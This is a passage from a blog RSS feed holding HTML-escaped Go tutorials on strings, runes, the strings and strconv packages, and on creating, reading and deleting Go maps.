to do that, it iterates rune by rune, decoding the corresponding character.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; index, runeValue &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; s {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%#U empieza en el byte de posición %d\n&amp;#34;&lt;/span&gt;, runeValue, index)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+0049 &amp;#39;I&amp;#39; starts at byte position 0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+0044 &amp;#39;D&amp;#39; starts at byte position 1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+5F7C &amp;#39;彼&amp;#39; starts at byte position 2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+6C0F &amp;#39;氏&amp;#39; starts at byte position 5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+5F7C &amp;#39;彼&amp;#39; starts at byte position 8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+5973 &amp;#39;女&amp;#39; starts at byte position 11&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+306E &amp;#39;の&amp;#39; starts at byte position 14&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+4E8B &amp;#39;事&amp;#39; starts at byte position 17&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+60C5 &amp;#39;情&amp;#39; starts at byte position 20&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;package-strings-summary&#34;&gt;Package strings summary&lt;/h2&gt;&#xA;&lt;p&gt;Go has a package in its standard library to handle strings, with multiple methods. Here are some of the most important ones:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;func Contains(s, substr string) bool Checks if a string is contained in another string.&lt;/li&gt;&#xA;&lt;li&gt;func Count(s, substr string) int Counts the occurrences of one string in another.&lt;/li&gt;&#xA;&lt;li&gt;func HasPrefix(s, prefix string) bool Checks if a string starts a string.&lt;/li&gt;&#xA;&lt;li&gt;func HasSuffix(s, suffix string) bool Checks if a string ends with another string.&lt;/li&gt;&#xA;&lt;li&gt;func Join(elems []string, sep string) string Joins all elements of a list into a string, using a separator between each pair of elements&lt;/li&gt;&#xA;&lt;li&gt;func Split(s, sep string) []string Splits a string in a list by a separator we specify&lt;/li&gt;&#xA;&lt;li&gt;func Index(s, substr string) int Returns the index of a string in another string&lt;/li&gt;&#xA;&lt;li&gt;func Replace(s, old, new string, n int) string Replaces the first occurrence of a string by another string&lt;/li&gt;&#xA;&lt;li&gt;func ReplaceAll(s, old, new string) string Replaces all occurrences of a string with another string&lt;/li&gt;&#xA;&lt;li&gt;func ToLower(s string) string Convert to lower case&lt;/li&gt;&#xA;&lt;li&gt;func ToUpper(s string) string Converts to upper case&lt;/li&gt;&#xA;&lt;li&gt;func Trim(s, cutset string) string Removes leading and trailing spaces&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Check out the complete functions in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/strings&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the strings documentation in go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;strconv-package-summary&#34;&gt;strconv package summary&lt;/h2&gt;&#xA;&lt;p&gt;There is also a package that allows us to convert strings into other data types:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;func Atoi(s string) (int, error) converts a string into an integer&lt;/li&gt;&#xA;&lt;li&gt;func Itoa(i int) string converts an integer to a string&lt;/li&gt;&#xA;&lt;li&gt;func ParseInt(s string, base int, bitSize int) (i int64, err error) Converts a string representation of a number in some base to an integer.&lt;/li&gt;&#xA;&lt;li&gt;func ParseBool(str string) (bool, error) Converts 1, t, T, TRUE, true, True to True or 0, f, F, FALSE, false, False to False.&lt;/li&gt;&#xA;&lt;li&gt;func ParseFloat(s string, bitSize int) (float64, error) to convert in a string to a float&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;See the rest of the functions in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/strconv&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the strconv documentation in go.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In this entry I will briefly explain the basics of how golang runes, strings and bytes work in go, and even a little bit of utf-8 just to spice things up.&lt;/p&gt;&#xA;&lt;p&gt;To explain the topic I will assume you know the basics of slices and data types in go, if you don&amp;rsquo;t know about these topics visit my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/&#34;&gt;array, slices in golang&lt;/a&gt;&#xA; entry.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Golang maps or dictionaries</title>
      <link>https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/</link>
      <pubDate>Tue, 21 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In the go programming language, a map or hash table is the equivalent of a dictionary; they have a key that is related to a value. The key and value can be of different data types, but all keys must be of a single type and all values must be of the same type.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Together with the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/&#34;&gt;array and the go slice&lt;/a&gt;&#xA;, golang maps are structures that serve as a collection of values.&lt;/p&gt;&#xA;&lt;h2 id=&#34;inner-workings-of-golang-maps&#34;&gt;Inner workings of golang maps&lt;/h2&gt;&#xA;&lt;h3 id=&#34;gos-current-implementation-swiss-tables&#34;&gt;Go&amp;rsquo;s current implementation: Swiss-tables&lt;/h3&gt;&#xA;&lt;p&gt;Go 1.24 replaced its map implementation, it now uses &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/swiss-tables-the-superior-performance-hashmap/&#34;&gt;Swiss-tables&lt;/a&gt;&#xA;, which are currently used in Rust. Swiss-tables provide a boost in speed compared to its former implementation, and it also improves:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Slow lookups due to overflown buckets when extra entries were added.&lt;/li&gt;&#xA;&lt;li&gt;Larger Memory Usage due to overflown buckets that require extra space.&lt;/li&gt;&#xA;&lt;li&gt;Overhead due to rehashing when resizing the maps.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If go&amp;rsquo;s maps don&amp;rsquo;t match your performance requirements maybe you can consider using a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/databases/i-built-a-bloom-filter-data-structure-simulator/&#34;&gt;Bloom Filter&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;gos-former-implementation-buckets&#34;&gt;Go&amp;rsquo;s former implementation: Buckets&lt;/h3&gt;&#xA;&lt;p&gt;In Go a map works quite similar to any other language. In go there are buckets, a type of section consisting of 8 key-value pairs. The hash function receives the key and redirects us to the appropriate bucket, that is, the space of 9 key-value pairs where our key is located and, once there, it looks for the correct key.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/images/mapsGolang-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/images/mapsGolang-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Inner workings of golang maps in the programming language go.&#34; width=&#34;800&#34; height=&#34;800&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Internal operation of golang maps. The information is taken from the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/src/runtime/map.go&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official documentation of a map&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;create-a-map-in-go&#34;&gt;Create a map in go&lt;/h2&gt;&#xA;&lt;p&gt;To declare a map, we use the word map and enclose the data type of the key in square brackets, followed by the data type of the value.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; dictionary &lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//A map with key of string type and values of int type &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dictionary[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dictionary[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;panic&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(dictionary)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//❌❌❌ panic: assignment to entry in nil map&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, if we execute the previous thing it will give us an error. Why? It is important that you know that &lt;strong&gt;golang maps are references, they point to a memory location&lt;/strong&gt;, as we create an empty &lt;em&gt;map&lt;/em&gt; it points to nothing, to &lt;em&gt;nil&lt;/em&gt;, so if we try to modify it, it will give us an error.&lt;/p&gt;&#xA;&lt;p&gt;As with the slice, we have two ways to create a map or dictionary.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Passing values after the data type of the value&lt;/li&gt;&#xA;&lt;li&gt;Using the make function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;create-a-map-in-go-with-values&#34;&gt;Create a map in go with values&lt;/h3&gt;&#xA;&lt;p&gt;We can create a map or dictionary using map, the data type of the braces in square brackets, followed by the data type of the values and then the data key value in square brackets, separating each one with a colon.&lt;/p&gt;&#xA;&lt;p&gt;The map keys can be modified and even new ones can be added.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; account = &lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Anna&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Renee&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Kakuro&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;300&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Joy&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;400&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;account[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Anna&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;account[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Colombe&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;900&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also let go infer that it is a map, but only within a function, using the walrus operator &amp;ldquo;:=&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;account &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Anna&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Renee&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Kakuro&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;300&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Joy&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;400&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;account[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Anna&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;account[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Colombe&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;900&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;create-a-map-in-go-with-make&#34;&gt;Create a map in go with make&lt;/h3&gt;&#xA;&lt;p&gt;To create a map by allocating memory we need to use the make function and specify the type of data that the keys and values will have after the word map.&lt;/p&gt;&#xA;&lt;p&gt;In this case we do not have to pass the map length argument to make. If we omit the map size, internally, go will assign a small value to it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; dictionary = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dictionary[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dictionary[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;world&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(dictionary)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// map[hello:2 world:1]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now watch this! We have a map or dictionary with only two keys, see what happens if we access a third one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(balance[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// How can we distinguish between a zero balance or a user that doesn&amp;#39;t exist&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If we try to access a key that does not exist, go will return its respective zero value&lt;/strong&gt;, but this leads us to a problem: how do we distinguish whether we have a zero because the key does not exist or because the value of our key is zero?&lt;/p&gt;&#xA;&lt;h3 id=&#34;distinguish-between-non-existent-and-zero-values&#34;&gt;Distinguish between non-existent and zero values&lt;/h3&gt;&#xA;&lt;p&gt;To distinguish between a zero value, go provides a second return value, which indicates whether a key exists. This second value is a boolean: &lt;em&gt;true&lt;/em&gt; or &lt;em&gt;false&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;value, exist &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; dictionary[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;NonExistent&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;optional-capacity-in-golang-maps&#34;&gt;Optional capacity in golang maps&lt;/h3&gt;&#xA;&lt;p&gt;To set a maximum key capacity in a &lt;em&gt;map&lt;/em&gt;, we pass the length of the map as the second argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;m &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;99&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, unlike slices, this length only tells the compiler to allocate a minimum amount of memory; if we add more keys than the maximum value, they will still be added, although not as efficiently.&lt;/p&gt;&#xA;&lt;h3 id=&#34;delete-keys-with-delete&#34;&gt;Delete keys with delete&lt;/h3&gt;&#xA;&lt;p&gt;If we want to get rid of a key from our &lt;em&gt;map&lt;/em&gt;, we use the &lt;em&gt;delete,&lt;/em&gt; function, which deletes a key from a map or dictionary.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;delete&lt;/span&gt;(dictionary, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      